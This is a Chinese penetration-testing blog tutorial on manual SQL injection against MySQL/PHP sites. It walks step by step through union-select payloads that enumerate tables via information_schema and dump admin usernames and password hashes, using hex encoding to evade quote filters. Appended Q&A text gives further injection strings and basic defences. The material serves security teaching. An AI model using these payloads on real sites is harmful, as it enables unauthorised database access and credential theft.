65.网络安全渗透测试—[SQL注入篇4]—[MySQL+PHP-手工注入详解]

我认为,无论是学习安全还是从事安全的人,多多少少都会有些许的情怀和使命感!!!

一、MySQL+PHP 手工注入详解

1、MySQL的三种注释手段:

    (1)单行注释符1:#

    (2)单行注释符2:--空格

    (3)多行注释符:/*里面的内容都会被注释*/

    (4)注释符的功能:用注释后,其后面语句不再被解析执行

    (5)单行注释示例1:select * from users#这是一段单行注释

              在这里插入图片描述
    (6)单行注释示例2:select * from users-- 这是一段单行注释

                          

    (7)多行注释示例:select * from users/*这是一段多行注释*/

              在这里插入图片描述

2、注入时常用的系统信息函数:

version()/@@version		MySQL数据库版本
@@version_compile_os    多少位的操作系统
user()					数据库用户名
current_user()			当前用户名
session_user()			连接数据库的用户名
system_user() 			系统用户名
database()				数据库名
@@datadir 				数据库的数据存储路径
@@basedir		 		数据库安装路径
load_file('文件') 		MYSQL读取本地文件的函数

3、判断是否存在注入:and/or逻辑语句

    (1)and判断语句:根据页面返回正常还是错误来判断是否存在注入

	?id=1 and 1=1 页面正常
	?id=1 and 1=2 页面错误
	?id=1 && 1=1  url编码后才有效: ?id=1 %26%26 1=1  页面正常
	?id=1 && 1=2  url编码后才有效: ?id=1 %26%26 1=2  页面错误
	//注意:&&与||这种特殊的符号,一定要在浏览器url提交前进行转码之后方可提交,因为浏览器默认不会对者两种字符进行编码。

    (2)or逻辑判断语句:根据页面返回正常还是错误来判断是否存在注入

	?id=-1 or 1=1 页面正常
	?id=-1 or 1=2 页面错误
	?id=-1 || 1=1 url编码后才有效:-1 %7c%7c 1=1  页面正常
	?id=-1 || 1=2 url编码后才有效:-1 %7c%7c 1=2  页面错误

    (3)示例:

	http://target_sys.com/article.php?id=1 %26%26 1=1  页面正常
	http://target_sys.com/article.php?id=1 %26%26 1=2  页面错误	
	http://target_sys.com/article.php?id=-1 or 1=1     页面正常
	http://target_sys.com/article.php?id=-1 or 1=2     页面错误

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

4、判断字段/列数:order by排序

(1) order by排序:与其他数据库一样,使用order by 进行排序获取字段数

          order by 10,若该表的第10个字段存在,则以该表的第10个字段进行排序,即页面正常,否则页面错误。

(2)示例:使用二分法order by排序,判断当前后台正在查询的表的字段数

经过判断,当前表的字段数为3,如下图所示:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5、联合查询:

(1)MySQL的特点:MySQL与Access数据库不一样。在没有表名的前提下也可以查询数据库一些信息,如安装路径、库名、操作系统信息。

(2)联合查询的特点:联合查询的表需要跟被联合查询的表的字段个数一致,所以也就有了上一步判断当前表的字段数的操作了。

(3)联合查询的前提:需要让联合查询的数据具有回显位

(4)判断联合查询的回显位置:

	http://target_sys.com/article.php?id=-1 union select 1,2,3
	http://target_sys.com/article.php?id=1 and 1=2 union select 1,2,3
	//以上两个语句的意思都是相同的,都是为了让前面的获取数据为null,也就是将前置查询的结果置空,给联合查询腾出位置,以便回显我们想要的信息。

在这里插入图片描述
在这里插入图片描述

(5)联合查询的回显位,可以换成以下系统信息函数:

把上面的具有回显位置的数字替换成你要查询的函数名即可

version()/@@version		MySQL数据库版本
@@version_compile_os    多少位的操作系统
user()					数据库用户名
current_user()			当前用户名
session_user()			连接数据库的用户名
system_user() 			系统用户名
database()				数据库名
@@datadir 				数据库的数据存储路径
@@basedir		 		数据库安装路径
load_file('文件') 		MYSQL读取本地文件的函数

(6)联合查询库名:http://target_sys.com/article.php?id=-1 union select 1,database(),3

         在这里插入图片描述

(7) 联合查询表名:information_schema.tables里面存储着所有的表名

          MySQL 数据库里面有一个information_schema库,库里面存着很多信息,其中就包括了所有的库名, 表名, 字段名。因此可以利用这个库来获取当前库的表名。

          示例1:http://target_sys.com/article.php?id=-1 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1
          # table_schema表示数据库字段
          # limit 0,1 表示片偏移量为0,从1开始,读取1个结果
          # limit 1,1 表示片偏移量为1,从2开始,读取1个结果
          # limit 2,1 表示片偏移量为2,从3开始,读取1个结果
          # 如此类推,直至返回空,表示我们把表名查询完了

          示例2:http://target_sys.com/article.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema=0x7461726765745F737973 limit 1,1),3
          # 使用database()函数和使用target_sys库名来表示当前使用的数据库的效果是相同的
          # 但是有些时候,单引号若是被过滤了,那么可以把数据库名target_sys转为十六进制0x7461726765745f737973表示,即可绕过单引号被过滤的的问题。

          示例3:http://target_sys.com/article.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
          # group_concat()函数功能:把多个结果拼接成字符串,不同的结果间默认以逗号分割

          查询结果:admin、article、moon_range、users、xss,如下图所示:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

(8)联合查询字段/列名:information_schema.columns里面存储着所有的字段/列名

          示例1:http://target_sys.com/article.php ??id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin'

          示例2:http://target_sys.com/article.php?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E),3
          # admin转换成十六进制是:0x61646d696e

           查询结果:id、username、password,如下图所示:
在这里插入图片描述
在这里插入图片描述
(9)联合查询行数据/记录:

          示例1:http://target_sys.com/article.php?id=-1 union select 1,group_concat(username,0x3a,password),3 from admin
          # group_concat()函数功能:把多个结果拼接成字符串,不同的结果默认以逗号分割
          # group_concat(username,0x3a,password),把多个结果拼接成字符串,不同的结果之间默认以逗号分割。注意:这里的一个结果的形式是,一个username字段值+0x3a冒号+一个password字段值,若此时有多个这样的形式的结果,默认以逗号分割这些结果!!!!!
          查询结果:admin:e10adc3949ba59abbe56e057f20f883e,如下图所示:
在这里插入图片描述
(10)group_concat() 拼接字符串函数的功能验证:

           group_concat(username,0x3a,password),把多个结果拼接成字符串,不同的结果之间默认以逗号分割。注意:这里的一个结果的形式是,一个username字段值+0x3a冒号+一个password字段值,若此时有多个这样的形式的结果,默认以逗号分割这些结果!!!!!
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: SQL手工注入漏洞测试通常是通过构造恶意输入来测试数据库系统的安全性,以检测可能存在的漏洞。在针对MySQL数据库的字符型注入测试中,攻击者会尝试利用输入表单中的字符型数据来破坏SQL语句的可靠性,进而获取对数据库的访问权限。 攻击者通常会使用一些SQL注入工具,例如SQLMap、Havij等,通过模拟输入表单来测试Web应用程序是否存在SQL注入漏洞。在手动测试的过程中,攻击者需要了解目标系统中数据库的结构和使用的语言,并通过逐步构造恶意输入数据来尝试绕过系统的安全验证和防火墙,以获取对数据库的访问权限。 为避免SQL注入漏洞的产生,建议采用安全性更高的编程语言和框架,例如使用预处理语句、输入验证和过滤技术,同时定期对Web应用程序进行漏洞扫描和安全性检测,以降低数据库被攻击的风险。 ### 回答2: SQL注入是一种利用网站未正确过滤或验证用户输入数据的漏洞,通过构造一些特殊的SQL查询语句,来实现绕过网站的权限控制或者直接在数据库上执行一些恶意操作的攻击技术。SQL注入漏洞是常见的Web安全问题之一,并且MySQL是被广泛使用的数据库之一,因此测试MySQL数据库的手工注入漏洞测试也是非常必要的。 手工注入漏洞测试有多种方法,最常见的是利用逻辑性错误和SQL语句字符转义的脆弱性来构造恶意的SQL查询语句。首先,我们可以查找网站的URL参数和表单输入框,尝试在这些输入框中输入一些特殊字符(例如单引号,双引号和分号),看看是否能够返回一些不同寻常的错误信息。如果页面返回了一些SQL错误信息,那么很有可能存在SQL注入漏洞。 接下来的一步是手动构造SQL查询语句,注入恶意的代码。一般来说,SQL注入漏洞的主要攻击方法是利用SELECT,UPDATE,DELETE和INSERT等操作语句。我们可以在URL参数或表单输入框中输入如下代码片段,来测试是否存在漏洞: 1. SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1'; 2. SELECT * FROM users WHERE username='admin' AND password='' UNION ALL SELECT 1,2,3; 3. SELECT * FROM users WHERE username='admin' OR 1=1# AND password=''; 上述代码分别用于测试逻辑性错误漏洞、UNION注入和基于SQL注释的漏洞。如果我们能够成功执行这些恶意代码,那么就说明存在SQL注入漏洞,攻击者可以使用类似的代码片段来执行任意的SQL查询。 为了防止SQL注入漏洞,可以采取以下措施: 1. 输入过滤:检查输入数据是否包含恶意代码和SQL语句特殊字符,并过滤或转义掉这些字符。 2. 预编译语句:使用PreparedStatement或其他预编译语句可以避免SQL语句被拼凑,从而避免SQL注入漏洞。 3. 限制查询权限:限制数据库用户的查询权限,并使用最小特权原则。 总之,在进行MySQL数据库的手工注入漏洞测试时,需要充分理解SQL注入漏洞的原理和漏洞类型,并采取适当的防护措施来保护Web应用程序的安全性。 ### 回答3: SQL注入漏洞是常见的网络安全漏洞之一,而SQL手工注入漏洞测试是一种检测和验证SQL注入漏洞的方法。在Mysql数据库字符型注入漏洞测试中,我们需要先准备好一台虚拟机或者真实主机,然后搭建好LAMP或者LEMP环境,以便进行后续的测试。 1. 测试目标 首先确定我们要测试的目标,这可以是一个网站,或者是一个具有数据库功能的应用程序。我们需要了解和分析目标,找到目标系统的漏洞点,才能有针对性地进行注入漏洞测试。 2. 确认注入点 找到目标系统的漏洞点后,我们需要确认注入点,这就是通过输入特定的字符序列来判断系统是否存在SQL注入漏洞。在Mysql数据库字符型注入漏洞测试中,我们可以使用’和”这两个字符进行测试来确定注入点。 例如:我们可以输入以下字符序列来测试系统是否存在SQL注入漏洞:“'or 1=1#”,如果直接返回了数据,则说明该系统存在SQL注入漏洞。 3. 确认数据库类型和版本 在进行注入漏洞测试之前,我们需要知道目标系统所使用的数据库类型和版本。在Mysql数据库字符型注入漏洞测试中,我们可以通过以下语句来确定数据库版本: select version(); 4. 利用SQL语句注入漏洞 当我们成功确认时,就可以利用SQL语句进行注入漏洞测试了,具体的方法如下: a. 使用union查询合并数据:可以输入以下字符序列来进行测试:‘+union+select+1,2,3#',如果成功,则系统会返回一个由“1,2,3”组成的数据集。 b. 使用group by控制查询结果:可以输入以下字符序列来进行测试:‘+union+select+1,count(*)+from+table_name+group+by+1#',如果成功,则系统会返回各个数据组的数量。 c. 使用order by控制查询结果排序:可以输入以下字符序列来进行测试:‘+union+select+1,2+from+table_name+order+by+3#',如果成功,则系统会返回具有排序的数据集。 5. 总结 以上就是Mysql数据库字符型注入漏洞测试的基本步骤和方法。当然,注入漏洞测试是一项繁琐的工作,需要有一定的技术水平和丰富的经验。在进行注入漏洞测试之前,一定要保证进行充分的备份和风险评估,以防止对目标系统造成不可逆转的损失。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

qwsn

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值